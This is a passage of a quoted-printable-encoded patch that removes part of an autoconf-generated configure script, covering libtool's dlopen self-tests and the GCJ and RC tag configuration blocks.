>&5 - (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; th= en - (./conftest; exit; ) 2>/dev/null - lt_status=3D$? - case x$lt_status in - x$lt_dlno_uscore) lt_cv_dlopen_self=3Dyes ;; - x$lt_dlneed_uscore) lt_cv_dlopen_self=3Dyes ;; - x$lt_unknown|x*) lt_cv_dlopen_self=3Dno ;; - esac - else : - # compilation failed - lt_cv_dlopen_self=3Dno - fi -fi -rm -fr conftest* - - -fi -echo "$as_me:$LINENO: result: $lt_cv_dlopen_self" >&5 -echo "${ECHO_T}$lt_cv_dlopen_self" >&6 - - if test "x$lt_cv_dlopen_self" =3D xyes; then - LDFLAGS=3D"$LDFLAGS $link_static_flag" - echo "$as_me:$LINENO: checking whether a statically linked progr= am can dlopen itself" >&5 -echo $ECHO_N "checking whether a statically linked program can dlopen = itself... $ECHO_C" >&6 -if test "${lt_cv_dlopen_self_static+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - =09 if test "$cross_compiling" =3D yes; then : - lt_cv_dlopen_self_static=3Dcross -else - lt_dlunknown=3D0; lt_dlno_uscore=3D1; lt_dlneed_uscore=3D2 - lt_status=3D$lt_dlunknown - cat > conftest.$ac_ext < -#endif - -#include - -#ifdef RTLD_GLOBAL -# define LT_DLGLOBAL=09=09RTLD_GLOBAL -#else -# ifdef DL_GLOBAL -# define LT_DLGLOBAL=09=09DL_GLOBAL -# else -# define LT_DLGLOBAL=09=090 -# endif -#endif - -/* We may have to define LT_DLLAZY_OR_NOW in the command line if we - find out it does not work in some platform. */ -#ifndef LT_DLLAZY_OR_NOW -# ifdef RTLD_LAZY -# define LT_DLLAZY_OR_NOW=09=09RTLD_LAZY -# else -# ifdef DL_LAZY -# define LT_DLLAZY_OR_NOW=09=09DL_LAZY -# else -# ifdef RTLD_NOW -# define LT_DLLAZY_OR_NOW=09RTLD_NOW -# else -# ifdef DL_NOW -# define LT_DLLAZY_OR_NOW=09DL_NOW -# else -# define LT_DLLAZY_OR_NOW=090 -# endif -# endif -# endif -# endif -#endif - -#ifdef __cplusplus -extern "C" void exit (int); -#endif - -void fnord() { int i=3D42;} -int main () -{ - void *self =3D dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); - int status =3D $lt_dlunknown; - - if (self) - { - if (dlsym (self,"fnord")) status =3D $lt_dlno_uscore; - else if (dlsym( self,"_fnord")) status =3D $lt_dlneed_uscore; - /* dlclose (self); */ - } - - exit (status); -} -EOF - if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; th= en - (./conftest; exit; ) 2>/dev/null - lt_status=3D$? - case x$lt_status in - x$lt_dlno_uscore) lt_cv_dlopen_self_static=3Dyes ;; - x$lt_dlneed_uscore) lt_cv_dlopen_self_static=3Dyes ;; - x$lt_unknown|x*) lt_cv_dlopen_self_static=3Dno ;; - esac - else : - # compilation failed - lt_cv_dlopen_self_static=3Dno - fi -fi -rm -fr conftest* - - -fi -echo "$as_me:$LINENO: result: $lt_cv_dlopen_self_static" >&5 -echo "${ECHO_T}$lt_cv_dlopen_self_static" >&6 - fi - - CPPFLAGS=3D"$save_CPPFLAGS" - LDFLAGS=3D"$save_LDFLAGS" - LIBS=3D"$save_LIBS" - ;; - esac - - case $lt_cv_dlopen_self in - yes|no) enable_dlopen_self=3D$lt_cv_dlopen_self ;; - *) enable_dlopen_self=3Dunknown ;; - esac - - case $lt_cv_dlopen_self_static in - yes|no) enable_dlopen_self_static=3D$lt_cv_dlopen_self_static ;; - *) enable_dlopen_self_static=3Dunknown ;; - esac -fi - - -# The else clause should only fire when bootstrapping the -# libtool distribution, otherwise you forgot to ship ltmain.sh -# with your package, and you will get complaints that there are -# no rules to generate ltmain.sh. -if test -f "$ltmain"; then - # See if we are running on zsh, and set the options which allow our = commands through - # without removal of \ escapes. - if test -n "${ZSH_VERSION+set}" ; then - setopt NO_GLOB_SUBST - fi - # Now quote all the things that may contain metacharacters while bei= ng - # careful not to overquote the AC_SUBSTed values. We take copies of= the - # variables and quote the copies for generation of the libtool scrip= t. - for var in echo old_CC old_CFLAGS AR AR_FLAGS AS EGREP RANLIB LN_S L= TCC NM \ - SED SHELL STRIP \ - libname_spec library_names_spec soname_spec extract_expsyms_cmds \ - old_striplib striplib file_magic_cmd finish_cmds finish_eval \ - deplibs_check_method reload_flag reload_cmds need_locks \ - lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \ - lt_cv_sys_global_symbol_to_c_name_address \ - sys_lib_search_path_spec sys_lib_dlsearch_path_spec \ - old_postinstall_cmds old_postuninstall_cmds \ - compiler_GCJ \ - CC_GCJ \ - LD_GCJ \ - lt_prog_compiler_wl_GCJ \ - lt_prog_compiler_pic_GCJ \ - lt_prog_compiler_static_GCJ \ - lt_prog_compiler_no_builtin_flag_GCJ \ - export_dynamic_flag_spec_GCJ \ - thread_safe_flag_spec_GCJ \ - whole_archive_flag_spec_GCJ \ - enable_shared_with_static_runtimes_GCJ \ - old_archive_cmds_GCJ \ - old_archive_from_new_cmds_GCJ \ - predep_objects_GCJ \ - postdep_objects_GCJ \ - predeps_GCJ \ - postdeps_GCJ \ - compiler_lib_search_path_GCJ \ - archive_cmds_GCJ \ - archive_expsym_cmds_GCJ \ - postinstall_cmds_GCJ \ - postuninstall_cmds_GCJ \ - old_archive_from_expsyms_cmds_GCJ \ - allow_undefined_flag_GCJ \ - no_undefined_flag_GCJ \ - export_symbols_cmds_GCJ \ - hardcode_libdir_flag_spec_GCJ \ - hardcode_libdir_flag_spec_ld_GCJ \ - hardcode_libdir_separator_GCJ \ - hardcode_automatic_GCJ \ - module_cmds_GCJ \ - module_expsym_cmds_GCJ \ - lt_cv_prog_compiler_c_o_GCJ \ - exclude_expsyms_GCJ \ - include_expsyms_GCJ; do - - case $var in - old_archive_cmds_GCJ | \ - old_archive_from_new_cmds_GCJ | \ - archive_cmds_GCJ | \ - archive_expsym_cmds_GCJ | \ - module_cmds_GCJ | \ - module_expsym_cmds_GCJ | \ - old_archive_from_expsyms_cmds_GCJ | \ - export_symbols_cmds_GCJ | \ - extract_expsyms_cmds | reload_cmds | finish_cmds | \ - postinstall_cmds | postuninstall_cmds | \ - old_postinstall_cmds | old_postuninstall_cmds | \ - sys_lib_search_path_spec | sys_lib_dlsearch_path_spec) - # Double-quote double-evaled strings. - eval "lt_$var=3D\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_= quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\= \\"" - ;; - *) - eval "lt_$var=3D\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quo= te_subst\"\`\\\"" - ;; - esac - done - - case $lt_echo in - *'\$0 --fallback-echo"') - lt_echo=3D`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-ec= ho"$/$0 --fallback-echo"/'` - ;; - esac - -cfgfile=3D"$ofile" - - cat <<__EOF__ >> "$cfgfile" -# ### BEGIN LIBTOOL TAG CONFIG: $tagname - -# Libtool was configured on host `(hostname || uname -n) 2>/dev/null |= sed 1q`: - -# Shell to use when invoking shell scripts. -SHELL=3D$lt_SHELL - -# Whether or not to build shared libraries. -build_libtool_libs=3D$enable_shared - -# Whether or not to build static libraries. -build_old_libs=3D$enable_static - -# Whether or not to add -lc for building shared libraries. -build_libtool_need_lc=3D$archive_cmds_need_lc_GCJ - -# Whether or not to disallow shared libs when runtime libs are static -allow_libtool_libs_with_static_runtimes=3D$enable_shared_with_static_r= untimes_GCJ - -# Whether or not to optimize for fast installation. -fast_install=3D$enable_fast_install - -# The host system. -host_alias=3D$host_alias -host=3D$host - -# An echo program that does not interpret backslashes. -echo=3D$lt_echo - -# The archiver. -AR=3D$lt_AR -AR_FLAGS=3D$lt_AR_FLAGS - -# A C compiler. -LTCC=3D$lt_LTCC - -# A language-specific compiler. -CC=3D$lt_compiler_GCJ - -# Is the compiler the GNU C compiler? -with_gcc=3D$GCC_GCJ - -# An ERE matcher. -EGREP=3D$lt_EGREP - -# The linker used to build libraries. -LD=3D$lt_LD_GCJ - -# Whether we need hard or soft links. -LN_S=3D$lt_LN_S - -# A BSD-compatible nm program. -NM=3D$lt_NM - -# A symbol stripping program -STRIP=3D$lt_STRIP - -# Used to examine libraries when file_magic_cmd begins "file" -MAGIC_CMD=3D$MAGIC_CMD - -# Used on cygwin: DLL creation program. -DLLTOOL=3D"$DLLTOOL" - -# Used on cygwin: object dumper. -OBJDUMP=3D"$OBJDUMP" - -# Used on cygwin: assembler. -AS=3D$lt_AS - -# The name of the directory that contains temporary libtool files. -objdir=3D$objdir - -# How to create reloadable object files. -reload_flag=3D$lt_reload_flag -reload_cmds=3D$lt_reload_cmds - -# How to pass a linker flag through the compiler. -wl=3D$lt_lt_prog_compiler_wl_GCJ - -# Object file suffix (normally "o"). -objext=3D"$ac_objext" - -# Old archive suffix (normally "a"). -libext=3D"$libext" - -# Shared library suffix (normally ".so"). -shrext_cmds=3D'$shrext_cmds' - -# Executable file suffix (normally ""). -exeext=3D"$exeext" - -# Additional compiler flags for building library objects. -pic_flag=3D$lt_lt_prog_compiler_pic_GCJ -pic_mode=3D$pic_mode - -# What is the maximum length of a command? -max_cmd_len=3D$lt_cv_sys_max_cmd_len - -# Does compiler simultaneously support -c and -o options? -compiler_c_o=3D$lt_lt_cv_prog_compiler_c_o_GCJ - -# Must we lock files when doing compilation ? -need_locks=3D$lt_need_locks - -# Do we need the lib prefix for modules? -need_lib_prefix=3D$need_lib_prefix - -# Do we need a version for libraries? -need_version=3D$need_version - -# Whether dlopen is supported. -dlopen_support=3D$enable_dlopen - -# Whether dlopen of programs is supported. -dlopen_self=3D$enable_dlopen_self - -# Whether dlopen of statically linked programs is supported. -dlopen_self_static=3D$enable_dlopen_self_static - -# Compiler flag to prevent dynamic linking. -link_static_flag=3D$lt_lt_prog_compiler_static_GCJ - -# Compiler flag to turn off builtin functions. -no_builtin_flag=3D$lt_lt_prog_compiler_no_builtin_flag_GCJ - -# Compiler flag to allow reflexive dlopens. -export_dynamic_flag_spec=3D$lt_export_dynamic_flag_spec_GCJ - -# Compiler flag to generate shared objects directly from archives. -whole_archive_flag_spec=3D$lt_whole_archive_flag_spec_GCJ - -# Compiler flag to generate thread-safe objects. -thread_safe_flag_spec=3D$lt_thread_safe_flag_spec_GCJ - -# Library versioning type. -version_type=3D$version_type - -# Format of library name prefix. -libname_spec=3D$lt_libname_spec - -# List of archive names. First name is the real one, the rest are lin= ks. -# The last name is the one that the linker finds with -lNAME. -library_names_spec=3D$lt_library_names_spec - -# The coded name of the library, if different from the real name. -soname_spec=3D$lt_soname_spec - -# Commands used to build and install an old-style archive. -RANLIB=3D$lt_RANLIB -old_archive_cmds=3D$lt_old_archive_cmds_GCJ -old_postinstall_cmds=3D$lt_old_postinstall_cmds -old_postuninstall_cmds=3D$lt_old_postuninstall_cmds - -# Create an old-style archive from a shared archive. -old_archive_from_new_cmds=3D$lt_old_archive_from_new_cmds_GCJ - -# Create a temporary old-style archive to link instead of a shared arc= hive. -old_archive_from_expsyms_cmds=3D$lt_old_archive_from_expsyms_cmds_GCJ - -# Commands used to build and install a shared archive. -archive_cmds=3D$lt_archive_cmds_GCJ -archive_expsym_cmds=3D$lt_archive_expsym_cmds_GCJ -postinstall_cmds=3D$lt_postinstall_cmds -postuninstall_cmds=3D$lt_postuninstall_cmds - -# Commands used to build a loadable module (assumed same as above if e= mpty) -module_cmds=3D$lt_module_cmds_GCJ -module_expsym_cmds=3D$lt_module_expsym_cmds_GCJ - -# Commands to strip libraries. -old_striplib=3D$lt_old_striplib -striplib=3D$lt_striplib - -# Dependencies to place before the objects being linked to create a -# shared library. -predep_objects=3D$lt_predep_objects_GCJ - -# Dependencies to place after the objects being linked to create a -# shared library. -postdep_objects=3D$lt_postdep_objects_GCJ - -# Dependencies to place before the objects being linked to create a -# shared library. -predeps=3D$lt_predeps_GCJ - -# Dependencies to place after the objects being linked to create a -# shared library. -postdeps=3D$lt_postdeps_GCJ - -# The library search path used internally by the compiler when linking -# a shared library. -compiler_lib_search_path=3D$lt_compiler_lib_search_path_GCJ - -# Method to check whether dependent libraries are shared objects. -deplibs_check_method=3D$lt_deplibs_check_method - -# Command to use when deplibs_check_method =3D=3D file_magic. -file_magic_cmd=3D$lt_file_magic_cmd - -# Flag that allows shared libraries with undefined symbols to be built= . -allow_undefined_flag=3D$lt_allow_undefined_flag_GCJ - -# Flag that forces no undefined symbols. -no_undefined_flag=3D$lt_no_undefined_flag_GCJ - -# Commands used to finish a libtool library installation in a director= y. -finish_cmds=3D$lt_finish_cmds - -# Same as above, but a single script fragment to be evaled but not sho= wn. -finish_eval=3D$lt_finish_eval - -# Take the output of nm and produce a listing of raw symbols and C nam= es. -global_symbol_pipe=3D$lt_lt_cv_sys_global_symbol_pipe - -# Transform the output of nm in a proper C declaration -global_symbol_to_cdecl=3D$lt_lt_cv_sys_global_symbol_to_cdecl - -# Transform the output of nm in a C name address pair -global_symbol_to_c_name_address=3D$lt_lt_cv_sys_global_symbol_to_c_nam= e_address - -# This is the shared library runtime path variable. -runpath_var=3D$runpath_var - -# This is the shared library path variable. -shlibpath_var=3D$shlibpath_var - -# Is shlibpath searched before the hard-coded library search path? -shlibpath_overrides_runpath=3D$shlibpath_overrides_runpath - -# How to hardcode a shared library path into an executable. -hardcode_action=3D$hardcode_action_GCJ - -# Whether we should hardcode library paths into libraries. -hardcode_into_libs=3D$hardcode_into_libs - -# Flag to hardcode \$libdir into a binary during linking. -# This must work even if \$libdir does not exist. -hardcode_libdir_flag_spec=3D$lt_hardcode_libdir_flag_spec_GCJ - -# If ld is used when linking, flag to hardcode \$libdir into -# a binary during linking. This must work even if \$libdir does -# not exist. -hardcode_libdir_flag_spec_ld=3D$lt_hardcode_libdir_flag_spec_ld_GCJ - -# Whether we need a single -rpath flag with a separated argument. -hardcode_libdir_separator=3D$lt_hardcode_libdir_separator_GCJ - -# Set to yes if using DIR/libNAME${shared_ext} during linking hardcode= s DIR into the -# resulting binary. -hardcode_direct=3D$hardcode_direct_GCJ - -# Set to yes if using the -LDIR flag during linking hardcodes DIR into= the -# resulting binary. -hardcode_minus_L=3D$hardcode_minus_L_GCJ - -# Set to yes if using SHLIBPATH_VAR=3DDIR during linking hardcodes DIR= into -# the resulting binary. -hardcode_shlibpath_var=3D$hardcode_shlibpath_var_GCJ - -# Set to yes if building a shared library automatically hardcodes DIR = into the library -# and all subsequent libraries and executables linked against it. -hardcode_automatic=3D$hardcode_automatic_GCJ - -# Variables whose values should be saved in libtool wrapper scripts an= d -# restored at relink time. -variables_saved_for_relink=3D"$variables_saved_for_relink" - -# Whether libtool must link a program against all its dependency libra= ries. -link_all_deplibs=3D$link_all_deplibs_GCJ - -# Compile-time system search path for libraries -sys_lib_search_path_spec=3D$lt_sys_lib_search_path_spec - -# Run-time system search path for libraries -sys_lib_dlsearch_path_spec=3D$lt_sys_lib_dlsearch_path_spec - -# Fix the shell variable \$srcfile for the compiler. -fix_srcfile_path=3D"$fix_srcfile_path_GCJ" - -# Set to yes if exported symbols are required. -always_export_symbols=3D$always_export_symbols_GCJ - -# The commands to list exported symbols. -export_symbols_cmds=3D$lt_export_symbols_cmds_GCJ - -# The commands to extract the exported symbol list from a shared archi= ve. -extract_expsyms_cmds=3D$lt_extract_expsyms_cmds - -# Symbols that should not be listed in the preloaded symbols. -exclude_expsyms=3D$lt_exclude_expsyms_GCJ - -# Symbols that must always be exported. -include_expsyms=3D$lt_include_expsyms_GCJ - -# ### END LIBTOOL TAG CONFIG: $tagname - -__EOF__ - - -else - # If there is no Makefile yet, we rely on a make rule to execute - # `config.status --recheck' to rerun these tests and create the - # libtool script then. - ltmain_in=3D`echo $ltmain | sed -e 's/\.sh$/.in/'` - if test -f "$ltmain_in"; then - test -f Makefile && make "$ltmain" - fi -fi - - -ac_ext=3Dc -ac_cpp=3D'$CPP $CPPFLAGS' -ac_compile=3D'$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS confte= st.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_c_compiler_gnu - -CC=3D"$lt_save_CC" - -=09else -=09 tagname=3D"" -=09fi -=09;; - - RC) - - - -# Source file extension for RC test sources. -ac_ext=3Drc - -# Object file extension for compiled RC test sources. -objext=3Do -objext_RC=3D$objext - -# Code to be used in simple compile tests -lt_simple_compile_test_code=3D'sample MENU { MENUITEM "&Soup", 100, CH= ECKED }\n' - -# Code to be used in simple link tests -lt_simple_link_test_code=3D"$lt_simple_compile_test_code" - -# ltmain only uses $CC for tagged configurations so make sure $CC is s= et. - -# If no C compiler was specified, use CC. -LTCC=3D${LTCC-"$CC"} - -# Allow CC to be a program name with arguments. -compiler=3D$CC - - -# Allow CC to be a program name with arguments. -lt_save_CC=3D"$CC" -CC=3D${RC-"windres"} -compiler=3D$CC -compiler_RC=3D$CC -lt_cv_prog_compiler_c_o_RC=3Dyes - -# The else clause should only fire when bootstrapping the -# libtool distribution, otherwise you forgot to ship ltmain.sh -# with your package, and you will get complaints that there are -# no rules to generate ltmain.sh. -if test -f "$ltmain"; then - # See if we are running on zsh, and set the options which allow our = commands through - # without removal of \ escapes. - if test -n "${ZSH_VERSION+set}" ; then - setopt NO_GLOB_SUBST - fi - # Now quote all the things that may contain metacharacters while bei= ng - # careful not to overquote the AC_SUBSTed values. We take copies of= the - # variables and quote the copies for generation of the libtool scrip= t. - for var in echo old_CC old_CFLAGS AR AR_FLAGS AS EGREP RANLIB LN_S L= TCC NM \ - SED SHELL STRIP \ - libname_spec library_names_spec soname_spec extract_expsyms_cmds \ - old_striplib striplib file_magic_cmd finish_cmds finish_eval \ - deplibs_check_method reload_flag reload_cmds need_locks \ - lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \ - lt_cv_sys_global_symbol_to_c_name_address \ - sys_lib_search_path_spec sys_lib_dlsearch_path_spec \ - old_postinstall_cmds old_postuninstall_cmds \ - compiler_RC \ - CC_RC \ - LD_RC \ - lt_prog_compiler_wl_RC \ - lt_prog_compiler_pic_RC \ - lt_prog_compiler_static_RC \ - lt_prog_compiler_no_builtin_flag_RC \ - export_dynamic_flag_spec_RC \ - thread_safe_flag_spec_RC \ - whole_archive_flag_spec_RC \ - enable_shared_with_static_runtimes_RC \ - old_archive_cmds_RC \ - old_archive_from_new_cmds_RC \ - predep_objects_RC \ - postdep_objects_RC \ - predeps_RC \ - postdeps_RC \ - compiler_lib_search_path_RC \ - archive_cmds_RC \ - archive_expsym_cmds_RC \ - postinstall_cmds_RC \ - postuninstall_cmds_RC \ - old_archive_from_expsyms_cmds_RC \ - allow_undefined_flag_RC \ - no_undefined_flag_RC \ - export_symbols_cmds_RC \ - hardcode_libdir_flag_spec_RC \ - hardcode_libdir_flag_spec_ld_RC \ - hardcode_libdir_separator_RC \ - hardcode_automatic_RC \ - module_cmds_RC \ - module_expsym_cmds_RC \ - lt_cv_prog_compiler_c_o_RC \ - exclude_expsyms_RC \ - include_expsyms_RC; do - - case $var in - old_archive_cmds_RC | \ - old_archive_from_new_cmds_RC | \ - archive_cmds_RC | \ - archive_expsym_cmds_RC | \ - module_cmds_RC | \ - module_expsym_cmds_RC | \ - old_archive_from_expsyms_cmds_RC | \ - export_symbols_cmds_RC | \ - extract_expsyms_cmds | reload_cmds | finish_cmds | \ - postinstall_cmds | postuninstall_cmds | \ - old_postinstall_cmds | old_postuninstall_cmds | \ - sys_lib_search_path_spec | sys_lib_dlsearch_path_spec) - # Double-quote double-evaled strings. - eval "lt_$var=3D\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_= quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\= \\"" - ;; - *) - eval "lt_$var=3D\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quo= te_subst\"\`\\\"" - ;; - esac - done - - case $lt_echo in - *'\$0 --fallback-echo"') - lt_echo=3D`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-ec= ho"$/$0 --fallback-echo"/'` - ;; - esac - -cfgfile=3D"$ofile" - - cat <<__EOF__ >> "$cfgfile" -# ### BEGIN LIBTOOL TAG CONFIG: $tagname - -# Libtool was configured on host `(hostname || uname -n) 2>/dev/null |= sed 1q`: - -# Shell to use when invoking shell scripts. -SHELL=3D$lt_SHELL - -# Whether or not to build shared libraries. -build_libtool_libs=3D$enable_shared - -# Whether or not to build static libraries. -build_old_libs=3D$enable_static - -# Whether or not to add -lc for building shared libraries. -build_libtool_need_lc=3D$archive_cmds_need_lc_RC - -# Whether or not to disallow shared libs when runtime libs are static -allow_libtool_libs_with_static_runtimes=3D$enable_shared_with_static_r= untimes_RC - -# Whether or not to optimize for fast installation. -fast_install=3D$enable_fast_install - -# The host system. -host_alias=3D$host_alias -host=3D$host - -# An echo program that does not interpret backslashes. -echo=3D$lt_echo - -# The archiver. -AR=3D$lt_AR -AR_FLAGS=3D$lt_AR_FLAGS - -# A C compiler. -LTCC=3D$lt_LTCC - -# A language-specific compiler. -CC=3D$lt_compiler_RC - -# Is the compiler the GNU C compiler? -with_gcc=3D$GCC_RC - -# An ERE matcher. -EGREP=3D$lt_EGREP - -# The linker used to build libraries. -LD=3D$lt_LD_RC - -# Whether we need hard or soft links. -LN_S=3D$lt_LN_S - -# A BSD-compatible nm program. -NM=3D$lt_NM - -# A symbol stripping program -STRIP=3D$lt_STRIP - -# Used to examine libraries when file_magic_cmd begins "file" -MAGIC_CMD=3D$MAGIC_CMD - -# Used on cygwin: DLL creation program. -DLLTOOL=3D"$DLLTOOL" - -# Used on cygwin: object dumper. -OBJDUMP=3D"$OBJDUMP" - -# Used on cygwin: assembler. -AS=3D$lt_AS - -# The name of the directory that contains temporary libtool files. -objdir=3D$objdir - -# How to create reloadable object files. -reload_flag=3D$lt_reload_flag -reload_cmds=3D$lt_reload_cmds - -# How to pass a linker flag through the compiler. -wl=3D$lt_lt_prog_compiler_wl_RC - -# Object file suffix (normally "o"). -objext=3D"$ac_objext" - -# Old archive suffix (normally "a"). -libext=3D"$libext" - -# Shared library suffix (normally ".so"). -shrext_cmds=3D'$shrext_cmds' - -# Executable file suffix (normally ""). -exeext=3D"$exeext" - -# Additional compiler flags for building library objects. -pic_flag=3D$lt_lt_prog_compiler_pic_RC -pic_mode=3D$pic_mode - -# What is the maximum length of a command? -max_cmd_len=3D$lt_cv_sys_max_cmd_len - -# Does compiler simultaneously support -c and -o options? -compiler_c_o=3D$lt_lt_cv_prog_compiler_c_o_RC - -# Must we lock files when doing compilation ? -need_locks=3D$lt_need_locks - -# Do we need the lib prefix for modules? -need_lib_prefix=3D$need_lib_prefix - -# Do we need a version for libraries? -need_version=3D$need_version - -# Whether dlopen is supported. -dlopen_support=3D$enable_dlopen - -# Whether dlopen of programs is supported. -dlopen_self=3D$enable_dlopen_self - -# Whether dlopen of statically linked programs is supported. -dlopen_self_static=3D$enable_dlopen_self_static - -# Compiler flag to prevent dynamic linking. -link_static_flag=3D$lt_lt_prog_compiler_static_RC - -# Compiler flag to turn off builtin functions. -no_builtin_flag=3D$lt_lt_prog_compiler_no_builtin_flag_RC - -# Compiler flag to allow reflexive dlopens. -export_dynamic_flag_spec=3D$lt_export_dynamic_flag_spec_RC - -# Compiler flag to generate shared objects directly from archives. -whole_archive_flag_spec=3D$lt_whole_archive_flag_spec_RC - -# Compiler flag to generate thread-safe objects. -thread_safe_flag_spec=3D$lt_thread_safe_flag_spec_RC - -# Library versioning type. -version_type=3D$version_type - -# Format of library name prefix. -libname_spec=3D$lt_libname_spec - -# List of archive names. First name is the real one, the rest are lin= ks. -# The last name is the one that the linker finds with -lNAME. -library_names_spec=3D$lt_library_names_spec - -# The coded name of the library, if different from the real name. -soname_spec=3D$lt_soname_spec - -# Commands used to build and install an old-style archive. -RANLIB=3D$lt_RANLIB -old_archive_cmds=3D$lt_old_archive_cmds_RC -old_postinstall_cmds=3D$lt_old_postinstall_cmds -old_postuninstall_cmds=3D$lt_old_postuninstall_cmds - -# Create an old-style archive from a shared archive. -old_archive_from_new_cmds=3D$lt_old_archive_from_new_cmds_RC - -# Create a temporary old-style archive to link instead of a shared arc= hive. -old_archive_from_expsyms_cmds=3D$lt_old_archive_from_expsyms_cmds_RC - -# Commands used to build and install a shared archive. -archive_cmds=3D$lt_archive_cmds_RC -archive_expsym_cmds=3D$lt_archive_expsym_cmds_RC -postinstall_cmds=3D$lt_postinstall_cmds -postuninstall_cmds=3D$lt_postuninstall_cmds - -# Commands used to build a loadable module (assumed same as above if e= mpty) -module_cmds=3D$lt_module_cmds_RC -module_expsym_cmds=3D$lt_module_expsym_cmds_RC - -# Commands to strip libraries. -old_striplib=3D$lt_old_striplib -striplib=3D$lt_striplib - -# Dependencies to place before the objects being linked to create a -# shared library. -predep_objects=3D$lt_predep_objects_RC - -# Dependencies to place after the objects being linked to create a -# shared library. -postdep_objects=3D$lt_postdep_objects_RC - -# Dependencies to place before the objects being linked to create a -# shared library. -predeps=3D$lt_predeps_RC - -# Dependencies to place after the objects being linked to create a -# shared library. -postdeps=3D$lt_postdeps_RC - -# The library search path used internally by the compiler when linking -# a shared library. -compiler_lib_search_path=3D$lt_compiler_lib_search_path_RC - -# Method to check whether dependent libraries are shared objects. -deplibs_check_method=3D$lt_deplibs_check_method - -# Command to use when deplibs_check_method =3D=3D file_magic. -file_magic_cmd=3D$lt_file_magic_cmd - -# Flag that allows shared libraries with undefined symbols to be built= . -allow_undefined_flag=3D$lt_allow_undefined_flag_RC - -# Flag that forces no undefined symbols. -no_undefined_flag=3D$lt_no_undefined_flag_RC - -# Commands used to finish a libtool library installation in a director= y. -finish_cmds=3D$lt_finish_cmds - -# Same as above, but a single script fragment to be evaled but not sho= wn. -finish_eval=3D$lt_finish_eval - -# Take the output of nm and produce a listing of raw symbols and C nam= es. -global_symbol_pipe=3D$lt_lt_cv_sys_global_symbol_pipe - -# Transform the output of nm in a proper C declaration -global_symbol_to_cdecl=3D$lt_lt_cv_sys_global_symbol_to_cdecl - -# Transform the output of nm in a C name address pair -global_symbol_to_c_name_address=3D$lt_lt_cv_sys_global_symbol_to_c_nam= e_address - -# This is the shared library runtime path variable. -runpath_var=3D$runpath_var - -# This is the shared library path variable. -shlibpath_var=3D$shlibpath_var - -# Is shlibpath searched before the hard-coded library search path? -shlibpath_overrides_runpath=3D$shlibpath_overrides_runpath - -# How to hardcode a shared library path into an executable. -hardcode_action=3D$hardcode_action_RC - -# Whether we should hardcode library paths into libraries. -hardcode_into_libs=3D$hardcode_into_libs - -# Flag to hardcode \$libdir into a binary during linking. -# This must work even if \$libdir does not exist. -hardcode_libdir_flag_spec=3D$lt_hardcode_libdir_flag_spec_RC - -# If ld is used when linking, flag to hardcode \$libdir into -# a binary during linking. This must work even if \$libdir does -# not exist. -hardcode_libdir_flag_spec_ld=3D$lt_hardcode_libdir_flag_spec_ld_RC - -# Whether we need a single -rpath flag with a separated argument. -hardcode_libdir_separator=3D$lt_hardcode_libdir_separator_RC - -# Set to yes if using DIR/libNAME${shared_ext} during linking hardcode= s DIR into the -# resulting binary. -hardcode_direct=3D$hardcode_direct_RC - -# Set to yes if using the -LDIR flag during linking hardcodes DIR into= the -# resulting binary. -hardcode_minus_L=3D$hardcode_minus_L_RC - -# Set to yes if using SHLIBPATH_VAR=3DDIR during linking hardcodes DIR= into -# the resulting binary. -hardcode_shlibpath_var=3D$hardcode_shlibpath_var_RC - -# Set to yes if building a shared library automatically hardcodes DIR = into the library -# and all subsequent libraries and executables linked against it. -hardcode_automatic=3D$hardcode_automatic_RC - -# Variables whose values should be saved in libtool wrapper scripts an= d -# restored at relink time. -variables_saved_for_relink=3D"$variables_saved_for_relink" - -# Whether libtool must link a program against all its dependency libra= ries. -link_all_deplibs=3D$link_all_deplibs_RC - -# Compile-time system search path for libraries -sys_lib_search_path_spec=3D$lt_sys_lib_search_path_spec - -# Run-time system search path for libraries -sys_lib_dlsearch_path_spec=3D$lt_sys_lib_dlsearch_path_spec - -# Fix the shell variable \$srcfile for the compiler. -fix_srcfile_path=3D"$fix_srcfile_path_RC" - -# Set to yes if exported symbols are required. -always_export_symbols=3D$always_export_symbols_RC - -# The commands to list exported symbols. -export_symbols_cmds=3D$lt_export_symbols_cmds_RC - -# The commands to extract the exported symbol list from a shared archi= ve. -extract_expsyms_cmds=3D$lt_extract_expsyms_cmds - -# Symbols that should not be listed in the preloaded symbols. -exclude_expsyms=3D$lt_exclude_expsyms_RC - -# Symbols that must always be exported. -include_expsyms=3D$lt_include_expsyms_RC - -# ### END LIBTOOL TAG CONFIG: $tagname - -__EOF__ - - -else - # If there is no Makefile yet, we rely on a make rule to execute - # `config.status --recheck' to rerun these tests and create the - # libtool script then. - ltmain_in=3D`echo $ltmain | sed -e 's/\.sh$/.in/'` - if test -f "$ltmain_in"; then - test -f Makefile && make "$ltmain" - fi -fi - - -ac_ext=3Dc -ac_cpp=3D'$CPP $CPPFLAGS' -ac_compile=3D'$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS confte= st.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_c_compiler_gnu - -CC=3D"$lt_save_CC" - -=09;; - - *) -=09{ { echo "$as_me:$LINENO: error: Unsupported tag name: $tagname" >&= 5 -echo "$as_me: error: 